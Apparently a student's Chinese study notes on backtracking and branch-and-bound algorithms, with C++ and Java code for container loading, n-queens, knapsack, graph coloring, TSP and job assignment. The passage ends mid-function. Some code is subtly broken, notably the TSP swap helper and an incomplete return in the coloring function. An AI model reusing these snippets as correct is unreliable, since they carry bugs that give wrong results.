有一批共n个集装箱要装上2艘载重量分别为c1和c2的轮船，其中集装箱i的重量为wi，且∑𝑖=1𝑛𝑤𝑖≤𝑐1+𝑐2，装载问题要求确定是否有一个合理的装载方案可将这些集装箱装上这2艘轮船。如果有，找出一种装载方案。\n例如：\nn=3, c1=c2=50，且w=[10,40,40]。\n装载方案：\n第一艘轮船装集装箱1和2；二艘轮船装集装箱3。\n如果一个给定装载问题有解，则采用下面的策略可得到最优装载方案。(1)首先将第一艘轮船尽可能装满；(2)将剩余的集装箱装上第二艘轮船。将第一艘轮船尽可能装满等价于选取全体集装箱的一个子集，使该子集中集装箱重量之和最接近c1。\n2、算法分析 # 解空间：子集树\n可行性约束函数(选择当前元素)：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝑐1𝑥𝑖∈0,1\ntemplate\u0026lt;typename Type\u0026gt; class Loading { template\u0026lt;typename T\u0026gt; friend T MaxLoading(T [],T,int); private: void Backtrack(int i); int n; //集装箱数 Type *w; //集装箱重量数组 Type c; //第1艘轮船的载重量 Type cw; //当前载重量 Type bestw; //当前最优载重量 }; template\u0026lt;typename Type\u0026gt; void Loading\u0026lt;Type\u0026gt;::Backtrack(int i) //搜索第i层结点 { if(i\u0026gt;n) //到达叶结点 { if(cw\u0026gt;bestw) bestw=cw; return; } if(cw+w[i]\u0026lt;=c) //进入左子树，x[i]=1 { cw+=w[i]; Backtrack(i+1); //继续搜索下一层 cw-=w[i]; //退出左子树 } Backtrack(i+1); //进入右子树，x[i]=0 } template\u0026lt;typename Type\u0026gt; Type MaxLoading(Type w[],Type c,int n) //返回最优载重量 { Loading\u0026lt;Type\u0026gt; X; X.w=w; //初始化X X.c=c; X.n=n; X.bestw=0; X.cw=0; X.Backtrack(1); //从第1层开始搜索 return X.bestw; } int main() { const int n=6; int c=80; int w[]={0,20,40,40,10,30,20}; //下标从1开始 int s=MaxLoading(w,c,n); cout\u0026lt;\u0026lt;s\u0026lt;\u0026lt;endl; return 0; 算法在每个结点处花费O(1)时间，子集树中结点个数为O(2n)，故算法的计算时间为O(2n)。\n3、上界函数 # 对于上一算法可引入一个上界函数，用于剪去不含最优解的子树。\n上界函数(不选择当前元素)：当前载重量cw+剩余集装箱的重量r≤当前最优载重量bestw。\n就是剪枝函数。\ntemplate\u0026lt;typename Type\u0026gt; class Loading { template\u0026lt;typename T\u0026gt; friend T MaxLoading(T [],T,int); private: void Backtrack(int i); int n; //集装箱数 Type *w; //集装箱重量数组 Type c; //第1艘轮船的载重量 Type cw; //当前载重量 Type bestw; //当前最优载重量 Type r; //剩余集装箱重量 }; template\u0026lt;typename Type\u0026gt; void Loading\u0026lt;Type\u0026gt;::Backtrack(int i) //搜索第i层结点 { if(i\u0026gt;n) //到达叶结点 { if(cw\u0026gt;bestw) bestw=cw; return; } r-=w[i]; //剩余集装箱重量 if(cw+w[i]\u0026lt;=c) //进入左子树，x[i]=1 { cw+=w[i]; Backtrack(i+1); //继续搜索下一层 cw-=w[i]; //退出左子树 } if(cw+r\u0026gt;bestw) //上界函数 //进入右子树，x[i]=0 Backtrack(i+1); r+=w[i]; } 4、构造最优解 # 为构造最优解，需在算法中记录与当前最优值相应的当前最优解。\n在类Loading中增加两个私有数据成员：\nint* x：用于记录从根至当前结点的路径；\nint* bestx：记录当前最优解。\n算法搜索到叶结点处，就修正bestx的值。\npublic class Loading { // 船最大装载问题 private int n;// 集装箱数 private int[] x;// 当前解 private int[] bestx;// 当前最优解 private int[] w;// 集装箱重量数组 private int c;// 第一艘船的载重量 private int cw;// 当前载重量 private int bestw;// 当前最优载重量 private int r;// 剩余集装箱重量 void backTrack(int i)// 搜索第i层结点 { if (i \u0026gt; n) { // 到达叶结点 if (cw \u0026gt; bestw) { for (int j = 1; j \u0026lt;= n; j++) { bestx[j] = x[j]; } bestw = cw; } return; } r -= w[i]; // 剩余集装箱重量 if (cw + w[i] \u0026lt;= c) { // 进入左子树 x[i] = 1; // 装第i个集装箱 cw += w[i]; backTrack(i + 1); // 进入下一层 cw -= w[i]; // 退出左子树 } if (cw + r \u0026gt; bestw) { // 进入右子树 x[i] = 0; // 不装第i个集装箱 backTrack(i + 1); } r += w[i]; } public Loading(int[] w, int c, int n, int[] bestx) { this.w = w; this.c = c; this.n = n; this.bestx = bestx; this.bestw = 0; this.cw = 0; for (int i = 1; i \u0026lt;= n; i++) { this.r += w[i]; } this.x = new int[n + 1]; }// 构造器 public static void main(String[] args) { int n = 5; int c = 10; int w[] = {0, 7, 2, 6, 5, 4};// 下标从1开始 int bestx[] = new int[n + 1]; Loading test = new Loading(w, c, n, bestx); test.backTrack(1); for (int i = 1; i \u0026lt;= n; i++) { System.out.print(bestx[i] + \u0026#34; \u0026#34;); } System.out.println(); System.out.println(test.bestw); return; } } 由于bestx可能被更新O(2n)次，故算法的时间复杂性为O(n2^n)。\n5、迭代回溯(填空即可) # 理解循环遍历的原理。\n由于数组x记录了解空间树中从根到当前扩展结点的路径，利用这些信息，可将上述回溯法表示成非递归的形式。\nn=3, c1=c2=50，且w=[10,40,40]\n//迭代回溯法，返回最优载重量 template\u0026lt;typename Type\u0026gt; Type MaxLoading(Type w[],Type c,int n,int bestx[]) { //初始化根结点 int i=1; int *x=new int[n+1]; Type bestw=0; Type cw=0; Type r=0; for(int j=1;j\u0026lt;=n;j++) r+=w[j]; while(true) //搜索子树 { while(i\u0026lt;=n\u0026amp;\u0026amp;cw+w[i]\u0026lt;=c) //进入左子树，条件为真，则一直往左搜索 { r-=w[i]; cw+=w[i]; x[i]=1; i++; } if(i\u0026gt;n) //到达叶结点 { for(int j=1;j\u0026lt;=n;j++) bestx[j]=x[j]; bestw=cw; } else //进入右子树 { r-=w[i]; x[i]=0; i++; } while(cw+r\u0026lt;=bestw) //剪枝回溯 { i--; while(i\u0026gt;0\u0026amp;\u0026amp;!x[i]) //从右子树返回 { r+=w[i]; i--; } if(i==0) //如返回到根，则结束 { delete[] x; return bestw; } //进入右子树 x[i]=0; cw-=w[i]; i++; } } } 算法的计算时间为O(2^n)。\n5.3 n皇后问题(重点,三个函数都要掌握) # LeetCode:https://leetcode.cn/problems/n-queens/description/\nN皇后本质还是排列的问题。\n详细的解答：https://leetcode.cn/problems/n-queens/solutions/2079586/hui-su-tao-lu-miao-sha-nhuang-hou-shi-pi-mljv/\n1、问题描述 # ​\t在n×n格的棋盘上放置彼此不受攻击的n个皇后。按照国际象棋的规则，皇后可以攻击与之处在同一行或同一列或同一斜线上的棋子。n后问题等价于在n×n格的棋盘上放置n个皇后，任何2个皇后不放在同一行或同一列或同一斜线上。\n2、算法设计 # 解向量：(x1,x2,\u0026hellip;,xn)\n用n元组x[1:n]表示n后问题的解，其中x[i]表示皇后i放在棋盘的第i行的第x[i]列。\n显约束：xi=1,2,\u0026hellip;,n（能取值的范围）\n隐约束：（两个皇后之间不能相互攻击）\n不同列：xi≠xj\n不处于同一正反对角线：|i-j|≠|xi-xj|\n回溯法解n后问题时，用完全n叉树表示解空间，用可行性约束Place()剪去不满足行、列和斜线约束的子树。\nBacktrack(i)搜索解空间中第i层子树。\nsum记录当前已找到的可行方案数。\n3、四皇后问题 # 问题描述\n在4 x 4棋盘上放上4个皇后，使皇后彼此不受攻击。不受攻击的条件是彼此不在同行（列）、斜线上。求出全部的放法。\n解表示\n解向量： 4元向量X=(x1,x2,x3,x4)， xi 表示皇后i放在i行上的列号，如(3,1,2,4)\n解空间：｛(x1,x2,x3,x4)｜xi∈S，i=1~4｝S={1,2,3,4}\n可行性约束函数\n显约束：　xi∈S，i=1~4\n隐约束(i ≠ j)：xi ≠ xj (不在同一列)\n​ |i－xi|≠|j－xj|　(不在同一斜线)\n​\t四皇后问题的解空间树是一棵完全4叉树，树的根结点表示搜索的初始状态，从根结点到第2层结点对应皇后1在棋盘中第1行的可能摆放位置，从第2层结点到第3层结点对应皇后2在棋盘中第2行的可能摆放位置，依此类推。\n4、算法实现 # public class nQueen { //n皇后问题 private int n;//皇后个数 private int[] x;//当前解 private long sum;//当前已找到可行方案数 public nQueen(int n){ this.n = n; this.sum = 0; this.x = new int[n+1]; for (int i = 0; i \u0026lt;=n ; i++) { x[i]=0; } this.backTrack(1); } /** * 放置在第k行 * * @param k * @return 是否可行 */ private boolean place(int k) { for (int i = 1; i \u0026lt; k; i++) { //前面有没有可能存在某一行在斜对角上产生冲突的状况 if (Math.abs(k - i) == Math.abs(x[k] - x[i]) || x[i] == x[k]) { // return false; } } return true; } /** * 递归回溯 * @param t */ public void backTrack(int t) { if (t \u0026gt; n) sum++; else for (int i = 1; i \u0026lt;= n; i++) {//[1:n]列 x[t] = i;//放在第i列 if (place(t)) backTrack(t + 1); } } } 优化：\nclass Solution { public List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; solveNQueens(int n) { List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; ans = new ArrayList\u0026lt;\u0026gt;(); int[] queens = new int[n]; // 皇后放在 (r,queens[r]) boolean[] col = new boolean[n]; boolean[] diag1 = new boolean[n * 2 - 1]; boolean[] diag2 = new boolean[n * 2 - 1]; dfs(0, queens, col, diag1, diag2, ans); return ans; } private void dfs(int r, int[] queens, boolean[] col, boolean[] diag1, boolean[] diag2, List\u0026lt;List\u0026lt;String\u0026gt;\u0026gt; ans) { int n = col.length; if (r == n) { List\u0026lt;String\u0026gt; board = new ArrayList\u0026lt;\u0026gt;(n); // 预分配空间 for (int c : queens) { char[] row = new char[n]; Arrays.fill(row, \u0026#39;.\u0026#39;); row[c] = \u0026#39;Q\u0026#39;; board.add(new String(row)); } ans.add(board); return; } // 在 (r,c) 放皇后 for (int c = 0; c \u0026lt; n; c++) { int rc = r - c + n - 1; if (!col[c] \u0026amp;\u0026amp; !diag1[r + c] \u0026amp;\u0026amp; !diag2[rc]) { // 判断能否放皇后 queens[r] = c; // 直接覆盖，无需恢复现场 col[c] = diag1[r + c] = diag2[rc] = true; // 皇后占用了 c 列和两条斜线 dfs(r + 1, queens, col, diag1, diag2, ans); col[c] = diag1[r + c] = diag2[rc] = false; // 恢复现场 } } } } 非递归的回溯方法：\n先暂时能看懂就行。\n/** * 非递归回溯 * * @param t */ public void backTrack_o(int t) { x[1] = 0; int k = 1; while (k \u0026gt; 0) { x[k] += 1; //第k行的放到下一列 //x[k]不能放置，则放到下一列，直到可放置 while ((x[k] \u0026lt;= n) \u0026amp;\u0026amp; !place(k)) x[k] += 1; if (x[k] \u0026lt;= n) //放在n列范围内 if (k == n) //已放n行 sum++; else //不足n行 { k++; //放下一行 x[k] = 0; //下一行又从第0列的下列开始试放 } else //第k行无法放置，则重新放置上一行（放到下一列） k--; } } 5.4 0-1背包问题(重点) # 1、算法描述 # 解空间：子集树\n0-1背包问题是子集选取问题，其解空间可用子集树表示。\n​\t可行性约束函数：∑𝑖=1𝑛𝑤𝑖𝑥𝑖≤𝑐1\n​\t上界约束：当右子树中有可能包含最优解时才进入右子树搜索，否则剪去右子树。\n​\t设r是当前剩余物品价值总和，cp是当前价值，bestp是当前最优价值，当cp+r≤bestp时，剪去右子树。\n​\t计算右子树中解的上界更好的方法是将剩余的物品依其单位重量价值排序，然后依次装入物品，直到装不下时，再装入该物品一部分而装满背包，由此得到的价值是右子树中解的上界。——将背包问题作为0-1背包问题的上界。\n2、算法实现 # template\u0026lt;typename Typew,typename Typep\u0026gt; class Knap { friend Typep Knapsack\u0026lt;\u0026gt;(Typep *,Typew *,Typew,int); //\u0026lt;\u0026gt;指明友员函数为模板函数 private: Typep Bound(int i); //计算上界 void Backtrack(int i); Typew c; //背包容量 int n; //物品数 Typew *w; //物品重量数组 Typep *p; //物品价值数组 Typew cw; //当前重量 Typep cp; //当前价值 Typep bestp; //当前最优价值 }; template\u0026lt;typename Typew,typename Typep\u0026gt; void Knap\u0026lt;Typew,Typep\u0026gt;::Backtrack(int i) //回溯 { if(i\u0026gt;n) { bestp=cp; return; } if(cw+w[i]\u0026lt;=c) //进入左子树 { cw+=w[i]; cp+=p[i]; Backtrack(i+1); cw-=w[i]; cp-=p[i]; } if(Bound(i+1)\u0026gt;bestp) //进入右子树 Backtrack(i+1); } template\u0026lt;typename Typew,typename Typep\u0026gt; Typep Knap\u0026lt;Typew,Typep\u0026gt;::Bound(int i) //计算上界 { Typew cleft=c-cw; //剩余的背包容量 Typep b=cp; //b为当前价值 while(i\u0026lt;=n\u0026amp;\u0026amp;w[i]\u0026lt;=cleft) //依次装入单位重量价值高的整个物品 { cleft-=w[i]; b+=p[i]; i++; } if(i\u0026lt;=n) //装入物品的一部分 b+=p[i]*cleft/w[i]; return b; //返回上界 } class Object //物品类 { friend int Knapsack(int *,int *,int,int); public: int operator \u0026lt;(Object a) const { return (d\u0026gt;a.d); } int ID; //物品编号 float d; //单位重量价值 }; template\u0026lt;typename Typew,typename Typep\u0026gt; Typep Knapsack(Typep p[],Typew w[],Typew c,int n) { Typew W=0; //总重量 Typep P=0; //总价值 Object* Q=new Object[n]; //创建物品数组，下标从0开始 for(int i=1;i\u0026lt;=n;i++) //初始物品数组数据 { Q[i-1].ID=i; Q[i-1].d=1.0*p[i]/w[i]; P+=p[i]; W+=w[i]; } if(W\u0026lt;=c) //能装入所有物品 return P; QuickSort(Q,0,n-1); //依物品单位重量价值非增排序 Knap\u0026lt;Typew,Typep\u0026gt; K; K.p=new Typep[n+1]; K.w=new Typew[n+1]; for(int i=1;i\u0026lt;=n;i++) { K.p[i]=p[Q[i-1].ID]; K.w[i]=w[Q[i-1].ID]; } K.cp=0; K.cw=0; K.c=c; K.n=n; K.bestp=0; K.Backtrack(1); delete[] Q; delete[] K.w; delete[] K.p; return K.bestp; } ​\t计算上界需要O(n)时间，最坏情况下有𝑂(2𝑛)个右儿子结点需要计算上界，故算法所需要的时间为𝑂(𝑛2𝑛)\n5.5 图的m着色问题 # 比较简单，主要就写一个判定函数检查颜色是否可用。\n1、问题描述 # ​\t给定无向连通图G和m种不同的颜色。用这些颜色为图G的各顶点着色，每个顶点着一种颜色。是否有一种着色法使G中每条边的2个顶点着不同颜色。\n​\t这个问题是图的m可着色判定问题。若一个图最少需要m种颜色才能使图中每条边连接的2个顶点着不同颜色，则称这个数m为该图的色数。求一个图的色数m的问题称为图的m可着色优化问题。\n2、算法设计 # 用图的邻接矩阵a表示无向连通图G。\n解向量：(x1, x2, … , xn)表示顶点i所着颜色x[i]\n可行性约束函数：顶点i与已着色的相邻顶点颜色不重复。\n注意解空间树的画法。\nclass Color { friend int mColoring(int,int,int **); private: bool OK(int k); //检查颜色是否可用 void Backtrack(int t); int n; //图的顶点数 int m; //可用颜色数 int **a; //图的邻接矩阵 int *x; //当前解 long sum; //当前已找到的可m着色方案数 }; bool Color::OK(int k) //检查顶点k颜色是否可用 { for(int j=1;j\u0026lt;=n;j++){ if((a[k][j]==1)\u0026amp;\u0026amp;(x[j]==x[k])) //有边相连且两顶点颜色相同 return false; } return true; } void Color::Backtrack(int t) { if(t\u0026gt;n) { sum++; for(int i=1;i\u0026lt;=n;i++) cout\u0026lt;\u0026lt;x[i]\u0026lt;\u0026lt;\u0026#39; \u0026#39;; cout\u0026lt;\u0026lt;endl; } else for(int i=1;i\u0026lt;=m;i++) //m种颜色 { x[t]=i; //顶点t使用颜色i if(OK(t)) Backtrack(t+1); x[t]=0; //恢复x[t]的初值 } } int mColoring(int n,int m,int **a) { Color X; //初始化X X.n=n; X.m=m; X.a=a; X.sum=0; int *p=new int[n+1]; for(int i=0;i\u0026lt;=n;i++) p[i]=0; X.x=p; X.Backtrack(1); delete[] p; return } 3、算法效率 # 时间耗费𝑂(𝑛𝑚𝑛)\n判断下图是否是3可着色\n尝试着画一下。\n5.6 TSP问题（旅行售货员问题）【一级重点】 # 本问题相当重要，务必吃透。\n1、算法描述 # 已给一个n个点的完全图，每条边都有一个长度，求总长度最短的经过每个顶点正好一次的封闭回路\n因为每两个节点之间都是可达的，那么就是一个排列树。\n解空间：排列树\n开始时x=[1,2,\u0026hellip;,n]，则相应的排列树由x[1:n]的所有排列构成。\n2、递归算法 # ​\t当i=n时，当前扩展结点是排列树的叶结点的父结点，此时检查图G是否存在一条从顶点x[n-1]到顶点x[n]的边和一条从顶点x[n]到顶点1的边，如果两条边都存在，则找到一条回路。再判断此回路的费用是否优于当前最优回路的费用，是则更新当前最优值和最优解。\n​\t当i\u0026lt;n时，当前扩展结点位于排列树的第i-1层。图G中存在从顶点x[i-1]到x[i]的边时，检查x[1:i]的费用是否小于当前最优值，是则进入排列树的第i层，否则剪去相应子树。\n3、算法实现 # public class TSP { /** * 已给一个n个点的[完全图])，每条边都有一个长度， * 求总长度最短的经过每个顶点正好一次的封闭回路 */ private int n;//图的顶点数 private int[] x;//当前解 private int[] bestx;//当前最优解 private int[][] a;//邻接矩阵 private int cc;//当前费用 private int bestc;//当前最优值 private static final int NO_EDGE = Integer.MAX_VALUE;//无边标记 public TSP(int[][] a, int[] v, int n) { this.a = a; this.n = n; this.bestx = v; this.x = new int[n + 1]; this.bestc=NO_EDGE; this.cc = 0; this.backTrack(2); } public void backTrack(int i) { // 什么时候收获结果？ if (i == n) { //当i=n时，当前扩展结点是排列树的叶结点的父结点，此时检查图G是否存在一条从 // 顶点x[n-1]到顶点x[n]的边和一条从顶点x[n]到顶点1的边，如果两条边都存在， // 则找到一条回路。再判断此回路的费用是否优于当前最优回路的费用，是则更新当前最优值和最优解。 if (a[x[n - 1]][x[n]] != NO_EDGE \u0026amp;\u0026amp; a[x[n]][1] != NO_EDGE \u0026amp;\u0026amp; (cc + a[x[n - 1]][x[n]] + a[x[n]][1] \u0026lt; bestc || bestc == NO_EDGE)) { for (int j = 1; j \u0026lt;= n; j++) { bestx[j] = x[j]; } bestc = cc + a[x[n - 1]][x[n]] + a[x[n]][1]; } } else { //当i\u0026lt;n时，当前扩展结点位于排列树的第i-1层。图G中存在从顶点x[i-1]到x[i]的边时， // 检查x[1:i]的费用是否小于当前最优值，是则进入排列树的第i层，否则剪去相应子树。 // 1.自己到自己节点在邻接矩阵中设置为无穷，肯定不会直接回去 // 2.也相当于是一种限制条件 for (int j = i; j \u0026lt;= n; j++) { if (a[x[i - 1]][x[j]] != NO_EDGE \u0026amp;\u0026amp; (cc + a[x[i - 1]][x[j]] \u0026lt; bestc || bestc == NO_EDGE)) { // 注意这里要先交换，i之前的就是我们选择走的路径，i之后的是我们没走过的路径。 swap(x,i,j); cc += a[x[i - 1]][x[i]]; backTrack(i + 1); cc -= a[x[i - 1]][x[i]]; swap(x,i,j); } } } } private void swap(int[]a, int x, int y) { int temp = a[x]; a[x] = a[y]; a[y] = a[temp]; } } 4、算法效率 # 这是排列树，就是O(n!)\n​\t算法backtrack在最坏情况下可能需要更新当前最优解O((n-1)!)次，每次更新bestx需计算时间O(n)，从而整个算法的计算时间复杂性为O(n!)。\n5.7 最大团问题 # 最大团问题 给定无向图G=(V，E)。如果UV，且对任意u，vU有 (u，v)E，则称U是G的完全子图。例如{1,2}。 G的完全子图U是G的团当且仅当U不包含在G的更大的完全 子图中，例如{1,2,5}。 G的最大团是指G中所含顶点数最多的团。\n找出一个图的最大团： 可看做图G的顶点集V的子集选取问题。 • 解空间：子集树 • 可行性约束函数：顶点i到已选入顶点集中的每一个顶点都有边相连。 •上界函数：有足够多的可选择顶点使得算法有可能在右子树中找到更大的团。\n代码：\nx[]保存了团内的节点。\na [ i ] [ j ] 是boolean数组，表示其中的两个点有没有相连接。\n​\t每到一个新的节点，遍历检查这个节点有没有和现存的团中的每一个节点相连接，连接了我们就要了这个节点，否则不要。\n6.分支限界法 # 注意这里的基本概念要点。\n6.1 分支限界法的基本思想 # 分支限界法和回溯法 # 区别是考试的重点。\n​\t求解目标：回溯法的求解目标是找出解空间树中满足约束条件的所有解，而分支限界法的求解目标则是找出满足约束条件的一个解，或是在满足约束条件的解中找出在某种意义下的最优解。\n​\t搜索方式的不同：回溯法以深度优先的方式搜索解空间树，而分支限界法则以广度优先或以最小耗费优先的方式搜索解空间树。\n仅从方式来看，这类似于层序遍历的过程。\n​\t在分支限界法中，每一个活结点只有一次机会成为扩展结点。活结点一旦成为扩展结点，就一次性产生其所有儿子结点。在这些儿子结点中，导致不可行解或导致非最优解的儿子结点被舍弃，其余儿子结点被加入活结点表中。此后，从活结点表中取下一结点成为当前扩展结点，并重复上述结点扩展过程。这个过程一直持续到找到所需的解或活结点表为空时为止。\n选择下一个E结点的方法如下：\n1）先进先出(FIFO)：从活结点表中取出结点的顺序与加入结点的顺序相同。\n​\t后进先出(LIFO)：从活结点表中取出结点的顺序与加入结点的顺序相反。\n2）优先队列式分支限界法\n​\t按照优先队列中规定的优先级选取优先级最高的节点成为当前扩展节点。\n​\t（就是Dijkstra的堆优化算法）\n基本思想 # 1️⃣ 在 e_结点估算沿着它的各儿子结点搜索时，目标函数可能取得的“界”，\n2️⃣ 把儿子结点和目标函数可能取得的“界”，保存在优先队列或堆中，\n3️⃣ 从队列或堆中选取“界”最大或最小的结点向下搜索，直到叶子结点，\n4️⃣ 若叶子结点的目标函数的值，是结点表中的最大值或最小值，则沿叶子结点到根结点的路径所确定的解，就是问题的最优解，否则转 3 继续搜索\n示例 # 0-1背包问题\n考虑实例n=4，w=[3,5,2,1]，v=[9,10,7,4]，C=7。\n定义问题的解空间\n该实例的解空间为（x1,x2,x3,x4），xi=0或1(i=1,2,3,4)。\n确定问题的解空间组织结构\n该实例的解空间是一棵子集树，深度为4。\n搜索解空间\n约束条件\n限界条件 cp+rp\u0026gt;bestp\n队列式分支限界法 # cp初始值为0；rp初始值为所有物品的价值之和；bestp表示当前最优解，初始值为0。\n当cp\u0026gt;bestp时，更新bestp为cp。\n理解下面的图：这样的过程就是类似于层序遍历生成一颗树。\n优先队列式 # ​\t优先级：活结点代表的部分解所描述的装入背包的物品价值上界，该价值上界越大，优先级越高。活结点的价值上界up=cp+rp。\n约束条件：同队列式\n限界条件：up=cp+r‘p\u0026gt;bestp。\nrp 剩余物品装满背包的价值\n优先去装原来价值就更大的背包。\n6.2 单源最短路径问题 # 问题描述 # 在下图所给的有向图G中，每一边都有一个非负边权。要求图G的从源顶点s到目标顶点t之间的最短路径。\n下图是用优先队列式分支限界法解有向图G的单源最短路径问题产生的解空间树。其中，每一个结点旁边的数字表示该结点所对应的当前路长。\n算法思想 # ​\t解单源最短路径问题的优先队列式分支限界法用一极小堆来存储活结点表。其优先级是结点所对应的当前路长。\n​\t算法从图G的源顶点s和空优先队列开始。结点s被扩展后，它的儿子结点被依次插入堆中。此后，算法从堆中取出具有最小当前路长的结点作为当前扩展结点，并依次检查与当前扩展结点相邻的所有顶点。\n​\t如果从当前扩展结点i到顶点j有边可达，且从源出发，途经顶点i再到顶点j的所相应的路径的长度小于当前最优路径长度，则将该顶点作为活结点插入到活结点优先队列中。这个结点的扩展过程一直继续到活结点优先队列为空时为止。\n实例说明 # 算法设计 # static float[][]a //图G的邻接矩阵 static float []dist //源到各顶点的距离 static int []p //源到各顶点的路径上的前驱顶点 HeapNode //最小堆元素 { int i; //顶点编号 float length;//当前路长 …… } //1.先进行一个while(true)的循环。 while (true) {//搜索问题的解空间 //2.取堆的最上面的节点出来并且对于每个点都进行一次遍历和更新。 for (int j = 1; j \u0026lt;= n; j++) //3.如果满足条件的话就更改值并且加入优先队列。 if ((a[enode.i][j]\u0026lt;Float.MAX_VALUE)\u0026amp;\u0026amp; (enode.length+a[enode.i][j]\u0026lt;dist[j])) {//顶点i和j间有边，且此路径长小于原先从原点到j的路径长 // 顶点i到顶点j可达，且满足控制约束 dist[j]= enode.length+c[enode.i][j]; p [j]= enode.i; // 加入活结点优先队列 HeapNode node=new HeapNode(j,dist[j]); heap.put(node); } // 取下一扩展结点 if ( heap.isEmpty( ) ) break; else enode=(HeapNode)heap.removeMin(); } } 6.3 0-1背包问题[重点] # 解答参考https://www.it610.com/article/1296236014334976000.htm\n问题描述 # 给定n种物品和一个背包。物品i的重量是wi，其价值为vi，背包的容量为c。 应如何选择装入背包的物品，使得装入背包中物品的总价值最大? 在选择装入背包的物品时，对每种物品i只有2种选择，即装入背包或不装入背包。不能将物品i装入背包多次，也不能只装入部分的物品i。 算法的思想 # 首先，要对输入数据进行预处理，将各物品依其单位重量价值从大到小进行排列。 在实现时，由Bound计算当前结点处的上界。在解空间树的当前扩展结点处，仅当要进入右子树时才计算右子树的上界Bound，以判断是否将右子树剪。进入左子树时不需要计算上界，因为其上界与其父节点上界相同。 在优先队列分支限界法中，结点的优先级定义为：以结点的价值上界作为优先级（由bound函数计算出） 步骤 # 就是使用队列的同时还加上了附加条件。\n算法首先根据基于可行结点相应的子树最大价值上界优先级，从堆中选择一个节点（根节点）作为当前可扩展结点。 检查当前扩展结点的左儿子结点的可行性。 如果左儿子结点是可行结点，则将它加入到子集树和活结点优先队列中。 当前扩展结点的右儿子结点一定是可行结点，仅当右儿子结点满足上界函数约束时,才将它加入子集树和活结点优先队列。 当扩展到叶节点时，算法结束，叶子节点对应的解即为问题的最优值。 样例 # 假设有4个物品，其重量分别为(4, 7, 5, 3)，价值分别为(40, 42, 25, 12)，背包容量W=10。将给定物品按单位重量价值从大到小排序，结果如下：\n物品 重量(w) 价值(v) 价值/重量(v/w) 1 4 40 10 2 7 42 6 3 5 25 5 4 3 12 4 上界计算 先装入物品1，剩余的背包容量为6，只能装入物品2的6/7(即42*(6/7)=36)。 即上界为40+6*6=76\n已第一个up为例:40+6*(10-4)=76 打x的部分因为up值已经小于等于bestp了，所以没必要继续递归了。\n核心代码 # Typew c： 背包容量 C： 背包容量 Typew *w： 物品重量数组 Typew *p： 物品价值数组 Typew cw：当前重量 Typew cp：当前价值 Typep bestcp：当前最优价值 上界函数 # 这和贪心算法有什么区别？\ntemplate\u0026lt;class Typew, class Typep\u0026gt; Typep Knap\u0026lt;Typew, Typep\u0026gt;::Bound(int i) {// 计算上界 Typew cleft = c - cw; // 剩余容量 Typep b = cp; // 以剩余物品单位重量价值递减序装入物品 while (i \u0026lt;= n \u0026amp;\u0026amp; w[i] \u0026lt;= cleft) { cleft -= w[i]; b += p[i]; i++; } // 装满背包 if (i \u0026lt;= n) b += p[i]/w[i] * cleft; return b; } 结点定义 # static class Bbnode{ BBnode parent; //父结点 boolean leftChild; //左儿子结点标志 …} static class HeapNode implements Comparable{ BBnode liveNode; //活结点 double upperProfit; //结点的价值上界 double profit; //结点所相应的价值 double weight; //结点所相应的重量 int level; //活结点在子集树中所处的层序号 } 0-1背包问题优先队列分支限界搜索算法 # 6.4 作业分配问题【重点,没看懂】 # 详情参考https://blog.csdn.net/qq_40801709/article/details/90439784\n1、问题描述 # ​\tn 个操作员以 n 种不同时间完成 n 种不同作业。要求分配每位操作员完成一项工作，使完成 n 项工作的总时间最少操作员编号为 0,1,…n-1，作业也编号为 0,1,…n-1， 矩阵 c 描述每位操作员完成每个作业时所需的时间，元素 ci,j 表示第 i 位操作员完成第 j 号作业所需的时间 向量 x 描述分配给操作员的作业编号，分量 xi 表示分配给第 i 位操作员的作业编号。\n2、思想方法 # 1）从根结点开始，每遇到一个扩展结点，就对它的所有儿子结点计算其下界，把它们登记在结点表中。\n2）从表中选取下界最小的结点，重复上述过程。\n3）当搜索到一个叶子结点时，如果该结点的下界是结点表中最小的，那么，该结点就是问题的最优解。\n4）否则，对下界最小的结点继续进行扩展\n3、下界的确认 # 搜索深度为 0 时，把第 0 号作业分配给第 i 位操作员所需时间至少为第 i 位操作员完成第 0 号作业所需时间，加上其余 n-1个作业分别由其余 n-1 位操作员单独完成时所需最短时间之和，有： 例：4个操作员完成4个作业所需的时间表如下：\n​\t把第 0 号作业分配给第 0 位操作员时，所需时间至少不小于 3 + 7 + 6 + 3 = 19 ，把0号作业1 位操作员时，所需 时间至少不会小于9+7+4+3…\n​\t搜索深度为 k 时，前面第0,1,\u0026hellip;\u0026hellip;,k-1号作业已分别分配 给编号为i0,i1,\u0026hellip;\u0026hellip;,ik-1的操作员。 S={0,1,\u0026hellip;\u0026hellip;,n-1}表示所有操作员的编号集合；\nmk-1={i0,i1,\u0026hellip;\u0026hellip;ik-1}表示作业已分配的操作员编号集合。当把第k号作业分配给编号为ik的操作员时，𝑖𝑘∈𝑆−𝑚𝑘−1， 所需时间至少为：\n​ 则上式为把第k号作业分配给编号为ik的操作员时的下界\n4、算法实现步骤 # 5、实现代码 # #include\u0026lt;iostream\u0026gt; using namespace std; #define MAX_NUM 99999 const int n = 4; float c[n][n];//n个操作员分别完成n项作业所需时间 float bound = MAX_NUM;//当前已搜索可行解的最优时间 struct ass_node { int x[n];//分配给操作员的作业 int k;//搜索深度 float t;//当前搜索深度下，已分配作业所需时间 float b;//本节点所需的时间下界 struct ass_node* next;//优先队列链指针 }; typedef struct ass_node* ASS_NODE; //把xnode所指向的节点按所需时间下界插入优先队列qbase中，下界越小，优先性越高 void Q_insert(ASS_NODE qbase, ASS_NODE xnode) { ASS_NODE temp = qbase-\u0026gt;next; ASS_NODE temp2 = qbase; while (temp != NULL) { if (xnode-\u0026gt;b \u0026lt; temp-\u0026gt;b) { break; } temp2 = temp; temp = temp-\u0026gt;next; } xnode-\u0026gt;next = temp2-\u0026gt;next; temp2-\u0026gt;next = xnode; } //取下并返回优先队列qbase的首元素 ASS_NODE Q_delete(ASS_NODE qbase) { //ASS_NODE temp = qbase; ASS_NODE rt = new ass_node;//只是一个node if (qbase-\u0026gt;next != NULL) *rt = *qbase-\u0026gt;next; else rt = NULL; qbase-\u0026gt;next = qbase-\u0026gt;next-\u0026gt;next; return rt; } //分支限界法实现 float job_assigned(float (*c)[n], int n, int* job) { int i, j, m; ASS_NODE xnode,ynode=NULL; ASS_NODE qbase = new ass_node; qbase-\u0026gt;next = NULL; qbase-\u0026gt;b = 0;//空头节点 float min, bound = MAX_NUM; xnode = new ass_node; for 